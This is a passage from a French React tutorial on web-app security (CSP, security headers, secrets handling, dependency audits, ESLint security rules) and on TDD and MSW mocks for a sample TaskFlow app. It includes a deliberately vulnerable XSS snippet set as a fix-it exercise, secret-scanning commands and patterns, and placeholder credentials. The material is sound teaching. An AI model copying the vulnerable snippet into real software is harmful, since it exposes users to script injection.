        scriptSrc:   ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
        styleSrc:    ["'self'", "'unsafe-inline'", 'https://fonts.googleapis.com'],
        imgSrc:      ["'self'", 'data:', 'https://res.cloudinary.com'],
        connectSrc:  ["'self'", 'https://api.taskflow.app', 'wss://api.taskflow.app'],
        fontSrc:     ["'self'", 'https://fonts.gstatic.com'],
        objectSrc:   ["'none'"],
        frameSrc:    ["'none'"],
        baseUri:     ["'self'"],
      },
    },
  }));

  // CSP avec Vite (dans le HTML) :
  // vite.config.ts
  export default defineConfig({
    plugins: [
      react(),
      {
        name: 'html-transform',
        transformIndexHtml(html) {
          const nonce = crypto.randomUUID();
          return html
            .replace(/<script/g, `<script nonce="${nonce}"`)
            .replace('</head>',
              `<meta http-equiv="Content-Security-Policy" content="
                default-src 'self';
                script-src 'self' 'nonce-${nonce}';
                style-src 'self' 'unsafe-inline';
              ">
              </head>`
            );
        },
      }
    ],
  });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
81.3 — AUTRES HEADERS DE SÉCURITÉ ESSENTIELS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Strict-Transport-Security (HTTPS seulement) :
  Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

  # Empêcher le clickjacking (iframe embedding) :
  X-Frame-Options: DENY
  # ou CSP: frame-ancestors 'none';

  # Empêcher le MIME type sniffing :
  X-Content-Type-Options: nosniff

  # Contrôle du Referrer :
  Referrer-Policy: strict-origin-when-cross-origin

  # Isolation pour les attaques Spectre :
  Cross-Origin-Opener-Policy: same-origin
  Cross-Origin-Embedder-Policy: require-corp

  # Désactiver les permissions inutiles :
  Permissions-Policy: camera=(), microphone=(), geolocation=()
  # Activer seulement ce dont vous avez besoin.

  // Tester vos headers : https://securityheaders.com
  // Score parfait = A+ sur SecurityHeaders.com


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 82 : GESTION DES SECRETS ET VARIABLES D'ENVIRONNEMENT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
82.1 — RÈGLES FONDAMENTALES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  RÈGLE #1 : Tout ce qui est dans le bundle JS est PUBLIC.
    Le bundle est téléchargé par tous les visiteurs.
    Tout secret dans le code peut être extrait.

  RÈGLE #2 : VITE_* = Variables EXPOSÉES AU CLIENT.
    import.meta.env.VITE_API_URL      <- OK, c'est une URL publique
    import.meta.env.VITE_STRIPE_KEY   <- [ATTENTION] Clé publique Stripe SEULEMENT
    import.meta.env.VITE_DB_PASSWORD  <- [X] JAMAIS (secret !)
    import.meta.env.VITE_JWT_SECRET   <- [X] JAMAIS (secret !)
    import.meta.env.VITE_AWS_SECRET   <- [X] JAMAIS (secret !)

  RÈGLE #3 : Utiliser les secrets uniquement côté serveur.
    Les clés API, secrets JWT, credentials DB -> UNIQUEMENT dans les variables
    serveur (non préfixées par VITE_ / non exposées au client).

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
82.2 — ORGANISATION DES VARIABLES D'ENVIRONNEMENT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # .env.example (committer dans le repo — documentation) :
  # Variables CÔTÉ CLIENT (publiques) :
  VITE_API_URL=https://api.taskflow.app
  VITE_WS_URL=wss://api.taskflow.app
  VITE_APP_NAME=TaskFlow
  VITE_APP_VERSION=1.0.0
  VITE_SENTRY_DSN=https://xxxx@sentry.io/xxxxx   # DSN Sentry (public)
  VITE_GOOGLE_CLIENT_ID=xxxx.apps.googleusercontent.com  # OAuth Client ID (public)

  # .env.local (JAMAIS committer — variables locales) :
  VITE_API_URL=http://localhost:3001

  # .env.production (JAMAIS committer — via CI/CD ou provider secrets) :
  VITE_API_URL=https://api.taskflow.app

  # Variables SERVEUR (JAMAIS exposées au client) :
  DATABASE_URL=postgresql://user:password@localhost/taskflow
  JWT_SECRET=super_secret_jwt_key_256_bits_minimum
  STRIPE_SECRET_KEY=sk_live_xxxxxxxxxxxxxxxxxxxx
  AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxx
  SMTP_PASSWORD=xxxxxxxxxxxxxxxxxx

  # .gitignore (OBLIGATOIRE) :
  .env
  .env.local
  .env.*.local
  .env.production
  .env.staging

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
82.3 — DÉTECTER DES SECRETS EXPOSÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Installer GitLeaks pour scanner le repo :
  brew install gitleaks   # macOS
  # ou : https://github.com/gitleaks/gitleaks

  # Scanner les secrets dans le repo :
  gitleaks detect --source . --verbose

  # Ou utiliser truffleHog :
  pip install truffleHog
  trufflehog git file://. --since-commit HEAD~10

  # Outils en ligne :
  # GitGuardian — scan automatique à chaque push GitHub
  # GitHub Secret Scanning — activé automatiquement sur les repos publics

  # Vérifier que les variables ne sont pas dans le bundle :
  npm run build
  grep -r "DATABASE_URL\|JWT_SECRET\|sk_live" dist/  # Ne doit rien trouver !


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 83 : AUDIT ET HARDENING D'UNE APP REACT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
83.1 — AUDIT DES DÉPENDANCES NPM
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Scanner les vulnérabilités connues :
  npm audit

  # Corriger automatiquement les vulnérabilités non-breaking :
  npm audit fix

  # Forcer la correction (peut casser des choses) :
  npm audit fix --force

  # Audit plus détaillé avec rapport :
  npm audit --json > security-audit.json

  # Utiliser Snyk pour un scan plus complet :
  npm install -g snyk
  snyk auth
  snyk test
  snyk monitor  # Surveiller en continu

  # Configurer Dependabot (GitHub) pour des PRs auto :
  # .github/dependabot.yml :
  version: 2
  updates:
    - package-ecosystem: "npm"
      directory:         "/"
      schedule:
        interval:        "weekly"
      open-pull-requests-limit: 10
      groups:
        react-ecosystem:
          patterns: ["react*", "@react*", "next*"]

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
83.2 — CHECKLIST DE SÉCURITÉ REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  XSS :
  [WHITE_SQUARE] Pas d'utilisation de dangerouslySetInnerHTML sans DOMPurify
  [WHITE_SQUARE] Validation des URLs avant utilisation dans href
  [WHITE_SQUARE] Pas d'eval(), Function(), innerHTML= dans le code
  [WHITE_SQUARE] React-markdown avec rehype-sanitize pour le contenu utilisateur
  [WHITE_SQUARE] CSP configuré et testé (score A+ sur securityheaders.com)

  AUTHENTICATION :
  [WHITE_SQUARE] Tokens JWT avec expiration courte (15-60 minutes)
  [WHITE_SQUARE] Refresh tokens avec rotation
  [WHITE_SQUARE] Logout efface tous les tokens (côté client ET serveur)
  [WHITE_SQUARE] HTTPS obligatoire en production
  [WHITE_SQUARE] Passwords : bcrypt/argon2 côté serveur, min 12 caractères
  [WHITE_SQUARE] Rate limiting sur les endpoints auth
  [WHITE_SQUARE] Lockout après N tentatives échouées
  [WHITE_SQUARE] 2FA disponible (TOTP)

  AUTORISATION :
  [WHITE_SQUARE] Vérifications de rôles côté SERVEUR (jamais uniquement côté client)
  [WHITE_SQUARE] Les routes privées React sont sécurisées côté API également
  [WHITE_SQUARE] Principe du moindre privilège (chaque user n'a accès qu'à ses données)

  DONNÉES :
  [WHITE_SQUARE] Aucun secret dans le code source ou les variables VITE_*
  [WHITE_SQUARE] .gitignore inclut tous les fichiers .env
  [WHITE_SQUARE] npm audit sans vulnérabilités critiques ou high
  [WHITE_SQUARE] Dependabot ou équivalent configuré

  HEADERS :
  [WHITE_SQUARE] HSTS activé
  [WHITE_SQUARE] X-Frame-Options: DENY ou CSP frame-ancestors: 'none'
  [WHITE_SQUARE] X-Content-Type-Options: nosniff
  [WHITE_SQUARE] Referrer-Policy configuré
  [WHITE_SQUARE] Permissions-Policy restrictif

  AUDIT :
  [WHITE_SQUARE] Tests de sécurité dans la pipeline CI
  [WHITE_SQUARE] SAST (Static Analysis) : ESLint security plugin
  [WHITE_SQUARE] DAST : OWASP ZAP ou Burp Suite en staging
  [WHITE_SQUARE] Penetration test annuel

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
83.3 — ESLINT PLUGINS DE SÉCURITÉ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  npm install -D eslint-plugin-security eslint-plugin-no-secrets

  # .eslintrc.js :
  module.exports = {
    plugins:  ['security', 'no-secrets'],
    extends:  ['plugin:security/recommended'],
    rules: {
      'no-secrets/no-secrets': ['error', { tolerance: 4.5 }],
      'security/detect-non-literal-require':      'error',
      'security/detect-eval-with-expression':      'error',
      'security/detect-possible-timing-attacks':   'warn',
      'security/detect-buffer-noassert':           'error',
      'security/detect-child-process':             'warn',
      'security/detect-disable-mustache-escape':   'error',
      'security/detect-new-buffer':                'error',
      'security/detect-no-csrf-before-method-override': 'error',
      'security/detect-object-injection':          'warn',
    },
  };


════════════════════════════════════════════════════════════════════════════════
EXERCICES PARTIE 13
════════════════════════════════════════════════════════════════════════════════

NIVEAU FACILE :
  EX-13.1 : Identifier et corriger 5 vulnérabilités XSS dans ce code :
            <div dangerouslySetInnerHTML={{ __html: task.description }} />
            <a href={user.website}>Site</a>
            Afficher le commentaire utilisateur tel quel.

  EX-13.2 : Configurer la politique de mot de passe dans Zod :
            12 chars min, majuscule, minuscule, chiffre, spécial.
            Indicateur de force visuel en temps réel.

  EX-13.3 : Lancer npm audit et corriger les vulnérabilités.
            Documenter les vulnérabilités restantes et leur justification.

NIVEAU INTERMÉDIAIRE :
  EX-13.4 : Implémenter le système de tokens (Option C) :
            Access token en mémoire, refresh automatique via intercepteur Axios.

  EX-13.5 : Configurer CSP via les headers HTTP du serveur Vite.
            Vérifier avec SecurityHeaders.com (score A minimum).

  EX-13.6 : Implémenter OAuth2 + PKCE pour la connexion Google.
            Vérification du state, échange de code côté serveur.

NIVEAU AVANCÉ :
  EX-13.7 : Audit de sécurité complet de TaskFlow.
            Remplir la checklist, corriger toutes les vulnérabilités trouvées.

  EX-13.8 : Configurer GitHub Actions avec npm audit et Snyk.
            Bloquer le déploiement si des vulnérabilités critiques sont trouvées.

  EX-13.9 : Implémenter un système de Rate Limiting côté client :
            Délai entre les tentatives de login, lockout après 5 échecs,
            CAPTCHA après 3 échecs (Google reCAPTCHA v3).


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ PARTIE 13
════════════════════════════════════════════════════════════════════════════════

  [OK] OWASP Top 10 : risques principaux pour les apps React
  [OK] XSS : React protège par défaut ; dangerouslySetInnerHTML -> DOMPurify
  [OK] URLs : toujours valider le protocole (javascript: est interdit)
  [OK] CSRF : JWT dans headers protège nativement ; SameSite pour les cookies
  [OK] Stockage tokens : memory (access) + httpOnly cookie (refresh) = optimal
  [OK] Refresh tokens avec intercepteur Axios et queue des requêtes en attente
  [OK] OAuth2 + PKCE : flux sécurisé pour la connexion sociale
  [OK] CSP : dernière ligne de défense contre XSS
  [OK] Headers de sécurité : HSTS, X-Frame-Options, Referrer-Policy...
  [OK] Variables d'environnement : VITE_* = public, jamais de secrets
  [OK] npm audit + Snyk + Dependabot : maintenance de la chaîne de dépendances
  [OK] ESLint plugins de sécurité : détection statique des vulnérabilités

PROCHAINE PARTIE : Tests avancés — TDD, mocks complexes, tests de performance
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN PARTIE 13 -> Continuer : react_master_part_14.txt
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 14 : TESTS AVANCÉS — TDD, MOCKS COMPLEXES, PERF
================================================================================
VERSION 1.0 | CHAPITRES 84–91 | PROJET : TaskFlow — Suite de tests complète
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 84  ->  Test-Driven Development (TDD) avec React
  CHAPITRE 85  ->  Mocks complexes — MSW (Mock Service Worker)
  CHAPITRE 86  ->  Tests de composants avec contexte et providers
  CHAPITRE 87  ->  Tests de hooks custom
  CHAPITRE 88  ->  Tests de performance et de régression visuelle
  CHAPITRE 89  ->  Tests d'accessibilité automatisés (jest-axe)
  CHAPITRE 90  ->  Coverage avancé et stratégies de test
  CHAPITRE 91  ->  CI Pipeline complète pour les tests
  PROJET       ->  TaskFlow — Suite de tests à 90%+ de coverage
═══════════════════════════════════════════════════════════════════════════════


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 84 : TEST-DRIVEN DEVELOPMENT (TDD) AVEC REACT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
84.1 — QU'EST-CE QUE LE TDD ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le TDD (Test-Driven Development) est une méthode de développement où les
tests sont écrits AVANT le code de production.

LE CYCLE TDD — "RED -> GREEN -> REFACTOR" :

  ① RED   : Écrire un test qui ÉCHOUE (la feature n'existe pas encore)
  ② GREEN : Écrire le minimum de code pour faire PASSER le test
  ③ REFACTOR : Améliorer le code sans casser les tests

  RED -> GREEN -> REFACTOR -> RED -> GREEN -> REFACTOR -> ...

POURQUOI TDD ?
  [OK] Design forcé dès le départ (l'API est pensée depuis le point de vue de l'utilisateur)
  [OK] Coverage naturellement élevé (chaque feature a au moins un test)
  [OK] Confiance pour refactorer (les tests détectent les régressions)
  [OK] Documentation vivante (les tests décrivent le comportement attendu)
  [OK] Moins de bugs en production (les cas limites sont testés en amont)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
84.2 — TDD POUR UNE FONCTION UTILITAIRE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

FEATURE : Calculer la priorité effective d'une tâche (overdue = critical)

  // ÉTAPE 1 — RED : Écrire les tests avant le code
  // src/utils/task.utils.test.ts
  import { describe, it, expect, beforeEach, vi } from 'vitest';
  import { getEffectivePriority, sortTasksByUrgency, groupTasksByStatus } from './task.utils';

  describe('getEffectivePriority', () => {
    const baseTask = {
      id: 1, title: 'Test', status: 'todo' as const,
      priority: 'medium' as const, dueDate: null, completedAt: null,
    };

    it('retourne la priorité originale si la tâche n\'est pas en retard', () => {
      const tomorrow = new Date();
      tomorrow.setDate(tomorrow.getDate() + 1);
      const task = { ...baseTask, dueDate: tomorrow.toISOString() };

      expect(getEffectivePriority(task)).toBe('medium');
    });

    it('retourne "critical" si la tâche est en retard et non terminée', () => {
      const yesterday = new Date();
      yesterday.setDate(yesterday.getDate() - 1);
      const task = { ...baseTask, dueDate: yesterday.toISOString() };

      expect(getEffectivePriority(task)).toBe('critical');
    });

    it('retourne la priorité originale si terminée même en retard', () => {
      const yesterday = new Date();
      yesterday.setDate(yesterday.getDate() - 1);
      const task = {
        ...baseTask,
        status: 'done' as const,
        dueDate: yesterday.toISOString(),
        completedAt: new Date().toISOString(),
      };

      expect(getEffectivePriority(task)).toBe('medium');
    });

    it('retourne la priorité originale si pas de date d\'échéance', () => {
      expect(getEffectivePriority(baseTask)).toBe('medium');
    });

    it('conserve "high" si déjà plus élevé que "critical" n\'est pas possible', () => {
      const yesterday = new Date();
      yesterday.setDate(yesterday.getDate() - 1);
      const task = { ...baseTask, priority: 'high' as const, dueDate: yesterday.toISOString() };
      // Toujours critical si en retard (overrule)
      expect(getEffectivePriority(task)).toBe('critical');
    });
  });

  describe('sortTasksByUrgency', () => {
    it('trie les tâches critiques en premier', () => {
      const tasks = [
        { id: 1, priority: 'low',      dueDate: null, status: 'todo', completedAt: null },
        { id: 2, priority: 'critical', dueDate: null, status: 'todo', completedAt: null },
        { id: 3, priority: 'medium',   dueDate: null, status: 'todo', completedAt: null },
      ];
      const sorted = sortTasksByUrgency(tasks as any);
      expect(sorted[0].id).toBe(2);
      expect(sorted[sorted.length - 1].id).toBe(1);
    });

    it('place les tâches terminées en dernier', () => {
      const tasks = [
        { id: 1, priority: 'low',    status: 'done', dueDate: null, completedAt: new Date().toISOString() },
        { id: 2, priority: 'medium', status: 'todo', dueDate: null, completedAt: null },
      ];
      const sorted = sortTasksByUrgency(tasks as any);
      expect(sorted[0].id).toBe(2);
      expect(sorted[1].id).toBe(1);
    });

    it('trie par date d\'échéance quand même priorité', () => {
      const soon     = new Date(); soon.setDate(soon.getDate() + 1);
      const later    = new Date(); later.setDate(later.getDate() + 7);
      const tasks = [
        { id: 1, priority: 'high', dueDate: later.toISOString(), status: 'todo', completedAt: null },
        { id: 2, priority: 'high', dueDate: soon.toISOString(),  status: 'todo', completedAt: null },
      ];
      const sorted = sortTasksByUrgency(tasks as any);
      expect(sorted[0].id).toBe(2);
    });
  });

  // ÉTAPE 2 — GREEN : Implémenter le code minimum pour faire passer les tests
  // src/utils/task.utils.ts
  type Priority = 'low' | 'medium' | 'high' | 'critical';
  type Status   = 'todo' | 'in_progress' | 'done' | 'cancelled';

  interface TaskForUtils {
    id:          number;
    priority:    Priority;
    status:      Status;
    dueDate:     string | null;
    completedAt: string | null;
  }

  const PRIORITY_ORDER: Record<Priority, number> = {
    critical: 0, high: 1, medium: 2, low: 3,
  };

  export function isOverdue(task: TaskForUtils): boolean {
    if (task.status === 'done' || task.status === 'cancelled') return false;
    if (!task.dueDate) return false;
    return new Date(task.dueDate) < new Date();
  }

  export function getEffectivePriority(task: TaskForUtils): Priority {
    if (isOverdue(task)) return 'critical';
    return task.priority;
  }

  export function sortTasksByUrgency(tasks: TaskForUtils[]): TaskForUtils[] {
    return [...tasks].sort((a, b) => {
      // Terminées en dernier :
      const aDone = a.status === 'done' || a.status === 'cancelled';
      const bDone = b.status === 'done' || b.status === 'cancelled';
      if (aDone !== bDone) return aDone ? 1 : -1;

      // Trier par priorité effective :
      const aPriority = PRIORITY_ORDER[getEffectivePriority(a)];
      const bPriority = PRIORITY_ORDER[getEffectivePriority(b)];
      if (aPriority !== bPriority) return aPriority - bPriority;

      // Trier par date d'échéance :
      if (a.dueDate && b.dueDate) {
        return new Date(a.dueDate).getTime() - new Date(b.dueDate).getTime();
      }
      if (a.dueDate) return -1;
      if (b.dueDate) return 1;
      return 0;
    });
  }

  export function groupTasksByStatus(tasks: TaskForUtils[]): Record<Status, TaskForUtils[]> {
    return tasks.reduce((groups, task) => {
      const status = task.status;
      return { ...groups, [status]: [...(groups[status] ?? []), task] };
    }, {} as Record<Status, TaskForUtils[]>);
  }

  // ÉTAPE 3 — REFACTOR : Le code est déjà propre. Rien à changer.
  // npm run test -> tous les tests passent [OK]

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
84.3 — TDD POUR UN CUSTOM HOOK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

FEATURE : Hook useTaskFilters — filtrage et tri des tâches

  // src/hooks/useTaskFilters.test.ts
  import { renderHook, act } from '@testing-library/react';
  import { describe, it, expect, beforeEach } from 'vitest';
  import useTaskFilters from './useTaskFilters';

  const MOCK_TASKS = [
    { id: 1, title: 'Fix critical bug', status: 'todo',        priority: 'high',   dueDate: null, completedAt: null, tags: ['bug'] },
    { id: 2, title: 'Write unit tests', status: 'in_progress', priority: 'medium', dueDate: null, completedAt: null, tags: ['testing'] },
    { id: 3, title: 'Deploy to prod',   status: 'done',        priority: 'high',   dueDate: null, completedAt: new Date().toISOString(), tags: [] },
    { id: 4, title: 'Update docs',      status: 'todo',        priority: 'low',    dueDate: null, completedAt: null, tags: ['docs'] },
  ] as any[];

  describe('useTaskFilters', () => {
    it('retourne toutes les tâches par défaut', () => {
      const { result } = renderHook(() => useTaskFilters(MOCK_TASKS));
      expect(result.current.filteredTasks).toHaveLength(4);
    });

    it('filtre par statut', () => {
      const { result } = renderHook(() => useTaskFilters(MOCK_TASKS));
      act(() => { result.current.setFilter('todo'); });
      expect(result.current.filteredTasks).toHaveLength(2);
      expect(result.current.filteredTasks.every(t => t.status === 'todo')).toBe(true);
    });

    it('filtre par recherche textuelle (insensible à la casse)', () => {
      const { result } = renderHook(() => useTaskFilters(MOCK_TASKS));
      act(() => { result.current.setSearch('TESTS'); });
      expect(result.current.filteredTasks).toHaveLength(1);
      expect(result.current.filteredTasks[0].id).toBe(2);
    });

    it('combine filtre et recherche', () => {
      const { result } = renderHook(() => useTaskFilters(MOCK_TASKS));
      act(() => {
        result.current.setFilter('todo');
        result.current.setSearch('bug');
      });
      expect(result.current.filteredTasks).toHaveLength(1);
      expect(result.current.filteredTasks[0].id).toBe(1);
    });

    it('retourne 0 résultats si aucune correspondance', () => {
      const { result } = renderHook(() => useTaskFilters(MOCK_TASKS));
      act(() => { result.current.setSearch('xyzunknownterm'); });
      expect(result.current.filteredTasks).toHaveLength(0);
    });

    it('réinitialise les filtres avec reset()', () => {
      const { result } = renderHook(() => useTaskFilters(MOCK_TASKS));
      act(() => {
        result.current.setFilter('todo');
        result.current.setSearch('bug');
      });
      expect(result.current.filteredTasks).toHaveLength(1);

      act(() => { result.current.reset(); });
      expect(result.current.filteredTasks).toHaveLength(4);
    });

    it('calcule les stats correctement', () => {
      const { result } = renderHook(() => useTaskFilters(MOCK_TASKS));
      expect(result.current.stats.total).toBe(4);
      expect(result.current.stats.done).toBe(1);
      expect(result.current.stats.todo).toBe(2);
      expect(result.current.stats.inProgress).toBe(1);
    });

    it('met à jour les stats quand les tâches changent', () => {
      const { result, rerender } = renderHook(
        ({ tasks }) => useTaskFilters(tasks),
        { initialProps: { tasks: MOCK_TASKS } }
      );
      expect(result.current.stats.total).toBe(4);

      const newTasks = [...MOCK_TASKS, {
        id: 5, title: 'New task', status: 'todo', priority: 'low',
        dueDate: null, completedAt: null, tags: [],
      }] as any[];
      rerender({ tasks: newTasks });
      expect(result.current.stats.total).toBe(5);
    });
  });

  // Implémentation — src/hooks/useTaskFilters.ts
  import { useState, useMemo, useCallback } from 'react';
  import type { Task } from '@/types';

  type FilterValue = 'all' | 'todo' | 'in_progress' | 'done' | 'cancelled';

  interface TaskFiltersState {
    filter:          FilterValue;
    search:          string;
    sortBy:          'createdAt' | 'dueDate' | 'priority';
    sortDirection:   'asc' | 'desc';
  }

  const INITIAL_STATE: TaskFiltersState = {
    filter:        'all',
    search:        '',
    sortBy:        'createdAt',
    sortDirection: 'desc',
  };

  const PRIORITY_ORDER = { critical: 0, high: 1, medium: 2, low: 3 };

  function useTaskFilters(tasks: Task[]) {
    const [state, setState] = useState<TaskFiltersState>(INITIAL_STATE);

    const setFilter = useCallback((filter: FilterValue) => {
      setState(prev => ({ ...prev, filter }));
    }, []);

    const setSearch = useCallback((search: string) => {
      setState(prev => ({ ...prev, search }));
    }, []);

    const setSortBy = useCallback((sortBy: TaskFiltersState['sortBy']) => {
      setState(prev => ({
        ...prev,
        sortBy,
        sortDirection: prev.sortBy === sortBy && prev.sortDirection === 'asc' ? 'desc' : 'asc',
      }));
    }, []);

    const reset = useCallback(() => {
      setState(INITIAL_STATE);
    }, []);

    const filteredTasks = useMemo(() => {
      const { filter, search, sortBy, sortDirection } = state;
      const q = search.toLowerCase().trim();

      return tasks
        .filter(t => filter === 'all' || t.status === filter)
        .filter(t => !q || t.title.toLowerCase().includes(q) ||
                     t.description?.toLowerCase().includes(q) ||
                     t.tags.some(tag => tag.toLowerCase().includes(q)))
        .sort((a, b) => {
          let comparison = 0;
          if (sortBy === 'priority') {
            comparison = PRIORITY_ORDER[a.priority] - PRIORITY_ORDER[b.priority];
          } else if (sortBy === 'dueDate') {
            const aDate = a.dueDate ? new Date(a.dueDate).getTime() : Infinity;
            const bDate = b.dueDate ? new Date(b.dueDate).getTime() : Infinity;
            comparison = aDate - bDate;
          } else {
            comparison = new Date(b.createdAt).getTime() - new Date(a.createdAt).getTime();
          }
          return sortDirection === 'asc' ? comparison : -comparison;
        });
    }, [tasks, state]);

    const stats = useMemo(() => ({
      total:      tasks.length,
      done:       tasks.filter(t => t.status === 'done').length,
      todo:       tasks.filter(t => t.status === 'todo').length,
      inProgress: tasks.filter(t => t.status === 'in_progress').length,
      cancelled:  tasks.filter(t => t.status === 'cancelled').length,
    }), [tasks]);

    return {
      ...state,
      filteredTasks,
      stats,
      setFilter,
      setSearch,
      setSortBy,
      reset,
    };
  }

  export default useTaskFilters;


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 85 : MSW — MOCK SERVICE WORKER
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
85.1 — POURQUOI MSW ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

MSW (Mock Service Worker) intercepte les requêtes réseau au niveau du
Service Worker (browser) ou du module node-fetch (tests Node.js).

AVANTAGES vs vi.mock() :
  [OK] Intercepte au niveau réseau — le code de production n'est pas modifié
  [OK] Fonctionne pour fetch, axios, Apollo, React Query — tout !
  [OK] Réutilisable en développement ET en tests
  [OK] Types TypeScript pour les handlers
  [OK] Simule des délais, des erreurs réseau, des status codes

  npm install msw --save-dev

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
85.2 — CONFIGURATION MSW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/mocks/handlers.ts — Définir les handlers (routes mock)
  import { http, HttpResponse, delay } from 'msw';
  import type { Task, User } from '@/types';

  const MOCK_USER: User = {
    id: 1, name: 'Alice Martin', email: 'alice@taskflow.app',
    role: 'admin', avatar: null,
    createdAt: '2024-01-01T00:00:00Z',
    updatedAt: '2024-01-01T00:00:00Z',
  };

  const MOCK_TASKS: Task[] = [
    {
      id: 1, title: 'Créer le wireframe',
      status: 'done', priority: 'high',
      description: 'Concevoir l\'interface principale',
      tags: ['design'], dueDate: '2024-12-15T00:00:00Z',
      assignee: MOCK_USER, project: null, subtasks: [],
      completedAt: '2024-12-14T10:00:00Z', estimatedHours: 8,
      commentsCount: 3, attachmentsCount: 1,
      createdAt: '2024-12-01T00:00:00Z', updatedAt: '2024-12-14T10:00:00Z',
    },
    {
      id: 2, title: 'Implémenter l\'auth',
      status: 'in_progress', priority: 'high',
      description: 'JWT + refresh tokens',
      tags: ['backend', 'security'], dueDate: '2024-12-20T00:00:00Z',
      assignee: MOCK_USER, project: null, subtasks: [],
      completedAt: null, estimatedHours: 16,
      commentsCount: 1, attachmentsCount: 0,
      createdAt: '2024-12-05T00:00:00Z', updatedAt: '2024-12-10T00:00:00Z',
    },
  ];

  let tasks = [...MOCK_TASKS];
  let nextId = tasks.length + 1;

  export const handlers = [
    // Auth :
    http.post('/api/auth/login', async ({ request }) => {
      const body = await request.json() as { email: string; password: string };

      if (body.email === 'alice@taskflow.app' && body.password === 'Password123!') {
        return HttpResponse.json({
          token:        'mock-jwt-token-alice',
          refreshToken: 'mock-refresh-token',
          user:         MOCK_USER,
        });
      }

      return HttpResponse.json(
        { message: 'Email ou mot de passe incorrect' },
        { status: 401 }
      );
    }),

    http.get('/api/auth/me', ({ request }) => {
      const auth = request.headers.get('Authorization');
      if (!auth?.includes('mock-jwt-token')) {
        return HttpResponse.json({ message: 'Non autorisé' }, { status: 401 });
      }
      return HttpResponse.json(MOCK_USER);
    }),

    http.post('/api/auth/logout', () => {
      return HttpResponse.json({ success: true });
    }),

    // Tasks :
    http.get('/api/tasks', async ({ request }) => {
      await delay(100);  // Simuler un délai réseau

      const url    = new URL(request.url);
      const status = url.searchParams.get('status');
      const search = url.searchParams.get('search');
      const page   = parseInt(url.searchParams.get('page') ?? '1');
      const limit  = parseInt(url.searchParams.get('limit') ?? '20');

      let filtered = [...tasks];
      if (status && status !== 'all') {
